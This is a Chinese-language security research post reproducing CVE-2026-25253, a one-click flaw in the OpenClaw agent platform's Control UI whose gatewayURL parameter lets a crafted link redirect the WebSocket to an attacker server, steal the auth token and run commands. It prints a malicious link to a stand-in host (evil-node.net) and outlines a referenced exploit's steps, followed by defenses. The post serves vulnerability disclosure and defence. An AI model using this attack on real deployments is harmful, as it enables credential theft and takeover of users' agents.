OpenClaw安全实战系列三:利用网关劫持实现 OpenClaw控制端1-Click RCE (CVE-2026-25253)

在OpenClaw安全实战系列 (一)：突破信任边界 — Agent Skill供应链投毒路径重现及自动化靶标建设中，我们讨论了如何防范来自三方扩展插件的恶意注入；而在OpenClaw安全实战系列二：白名单也防不住？复盘CVE-2026-28363授权绕过全过程中，我们剖析了底层系统命令解析时的语义盲区。

如果说前两篇侧重于“意图欺骗”与“解析绕过”，那么本篇作为系列三，我们将视野移向OpenClaw的控制平面安全。即便配置了完美的插件白名单和严格的命令审计，如果控制端的“网关指向”本身可以被篡改，攻击者依然能绕过所有执行侧的防御，实现对代理的完整接管。

• OpenClaw Gateway：OpenClaw的后端网关，基于Node.js构建的核心引擎，负责管理LLM接口、维护工作区文件系统、执行系统级工具以及处理所有敏感凭据。通常运行在受控的服务器或本地宿主机上。

• Control UI：OpenClaw的前端控制台，基于React构建的高级交互界面。是用户与代理对话、查看日志、配置系统的主要入口。

这两者之间通过WebSocket协议进行双向实时通信。在典型的部署场景中，控制端需要获知网关的精确地址（如ws://127.0.0.1:18789）方可建立连接。

风险产生的深层背景在于OpenClaw这一架构设计中所体现的便利性逻辑：在实际应用中，用户通常会通过一个统一的Control UI控制台，来管理分布在不同环境下的多个后端网关。例如，一名安全研究员可能同时维护着本地开发机上的测试节点、远程云服务器上的生产节点。为了免去用户每次打开网页后，都需要进入设置菜单手动输入繁琐的WebSocket 地址（如 ws://10.x.x.x:18789，如下图所示），开发团队为此引入了一个基于URL参数的动态覆盖机制：

通过在Control UI的访问链接末尾添加?gatewayURL=...，用户可以创建一组类似浏览器书签的快捷方式，实现一键直达特定的运行环境。然而，这种设计陷入了一个典型的安全误区：系统默认信任了URL这个完全由外部控制的输入源，并将其视为合法的内部配置。攻击者正是利用了这一点，将合法的Control UI域名与恶意的后端地址进行非法通信，使得一个本应私密的网关切换功能，沦为了公开的身份令牌窃取入口。从而直接打破了系统对通信终点的信任。

为了让读者对威胁场景有一个清晰的理解，我们设定场景为某攻击者在开发者社区发布了一个名为OpenClaw提示词优化插件演示的推文，并附带了一个恶意链接，如下所示：

http://x.x.x.x:18789/chat?gatewayURL=ws://evil-node.net:13337

攻击者画像：

攻击者利用受害者在浏览器中保持Control UI登录的习惯，构造诱导上述链接。一旦受害者点击，前端Control UI将连接至攻击者恶意构造的服务器，直接针对Control UI应用的逻辑缺陷绕过传统边界防护。

受害者画像：

一名正在浏览器中运行OpenClaw实例的开发者。由于其已经保持了Control UI登录状态，当他因对攻击者发布的推文感兴趣并进而点击攻击者构造的恶意链接时，浏览器会直接加载已有的前端会话（session、user info信息等）。

攻击执行过程：

1.信任背书：由于攻击者在官方社交软件或开发社区中发放推文，受害者出于兴趣，直接点击了恶意链接，并未产生防备心。

2.逻辑劫持：控制端UI加载时，解析到恶意参数gatewayURL。

3.建立连接：控制端不再连接本地的18789端口，而是主动向攻击者的恶意服务器发起WebSocket握手。

4.凭证发送至网关：在WebSocket建立后的第一个验证包中，控制端会自动将受害者的身份令牌发往恶意网关。受害者仅能从右上角看到“Connected”状态，却无法察觉数据流向已发生偏移。

这种1-Click攻击的精妙之处在于，它利用了合法域名下的合法逻辑缺陷， 实现了对身份凭证的无感窃取。

5. 执行RCE高危操作：攻击者已通过网关身份认证，可以通过访问Control UI Chat页面进行RCE等危险操作。

通过以上内容，我们了解到该漏洞存在于OpenClaw的Control UI允许通过URL参数动态覆盖后端Gateway地址，且在连接新Gateway后端时未进行充分的安全性校验或用户确认，攻击者可以诱导受害者访问恶意链接，从而劫持WebSocket连接并窃取身份验证令牌。一旦获得令牌，攻击者即可接管受害者的机器人session并执行任意系统命令。

下载源码：

https://github.com/OpenClaw/OpenClaw/releases?page=3获取脆弱版本。

构建部署：https://docs.OpenClaw.ai/install 执行环境安装与前端构建[1]。

启动网关：node ./dist/index.js gateway run运行后端网关服务。

令牌配置：从配置文件中获取网关授权令牌。

通过令牌访问Control UI，显示Connected即Control UI连接Gateway成功

本漏洞复现场景可参考1.2小节中的威胁场景介绍，攻击者通过在攻击机上部署恶意服务器构造恶意网页诱发受害者点击，执行1-Click操作。以下为具体攻击脚本构造与执行效果验证过程。

本文研究漏洞的攻击脚本参考https://github.com/ethiack/moltbot-1click-rce实现：

核心攻击脚本包括一个单python文件（exploit.py）的Flask服务，以及html模版（核心包括触发OpenClaw重定向的页面lolada1.html与执行远程代码的页面lolada2.html），核心内容包括网关地址劫持、身份凭证窃取、伪造身份远程代码执行三部分

核心流程包括：

1. 网关地址劫持

攻击者构造一个恶意网页lolada1.html，利用window.location将受害者重定向到带有恶意参数的合法OpenClaw页面，如利用脚本强制受害者重定向这一步利用了OpenClaw前端会优先解析URL中gatewayURL参数的特性，将原本指向127.0.0.1:18789的通信目标强行修改为攻击者的服务器。

2. 身份凭证窃取

受害者的浏览器会向攻击者的服务器发起WebSocket 握手。按照 OpenClaw的协议，会在第一个数据包中包含用户的token。攻击者模拟了一个合法的网关，诱导客户端进行身份验证握手。

3. 伪造身份远程代码执行

攻击者获得令牌后，通过lolada2.html页面，绕过被篡改的网关，直接向真实的OpenClaw服务器发起连接。攻击者不仅拥有令牌，还利用crypto.subtle API生成了合法的设备签名。由于OpenClaw信任该令牌，它会将攻击者的指令视为受害者的合法操作并执行系统命令。

针对AI Agent架构下的安全挑战，单一的补丁升级难以应对复杂的动态威胁，需从多个维度构建防御体系。

源验证机制：控制端应引入严格的网关地址白名单校验，禁止从未经授权的参数中解析连接目标。

令牌安全加固：弃用URL传参方式，身份令牌应存储于加密且具备安全标志的会话存储中，并配合短暂的有效期与刷新机制。

跨域策略收紧：在网关侧实施严格的跨域资源共享策略，并强制校验 WebSocket握手的来源字段。

零信任沙箱：将代理的执行环境容器化。即便控制平面被攻破，攻击者的指令也被限制在受控的临时沙箱内，无法触及宿主机全局文件系统或敏感环境变量。

最小权限原则：不仅限制代理能执行的命令种类，还应限制其网络访问范围，防止被作为内网横向移动的跳板。

关键操作人工干预：对于涉及系统变更、外网连接或权限提升的操作，强制开启用户审批模式，防止自动化链路下的一键沦陷。

实时行为监测：建立基于行为指纹的异常监测模型。当代理发出不符合日常模式的指令流或连接异常网关时，系统应能即时熔断连接并触发告警。

绿盟科技星云实验室已将该复现逻辑集成于AI靶场，重点呈现：AI系统对外部环境的威胁：演示受控代理如何成为内网渗透跳板。外部环境对AI系统的威胁：还原通过Control UI劫持接管代理系统的全过程。

AI靶场方案引入多类威胁模型，构建了覆盖实战攻防全链路的靶场环境，重点呈现三大核心场景：

AI系统对外部环境的威胁场景：在这一类场景中，靶场重点还原大模型被纳入系统后，其输出结果被自动采信并直接作用于外部环境（本地终端与开发机、浏览器与IDE、云原生基础设施等等）所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷，而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。

外部环境对AI系统威胁场景：在此类威胁场景中，靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出，而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限，从运行环境、权限体系与数据上下文等多个层面，直接接管或长期影响大模型的行为。

AI系统自身的内生安全风险场景：如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。

本公众号原创文章仅代表作者观点，不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权，严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用，转载须注明来自绿盟科技研究通讯并附上本文链接。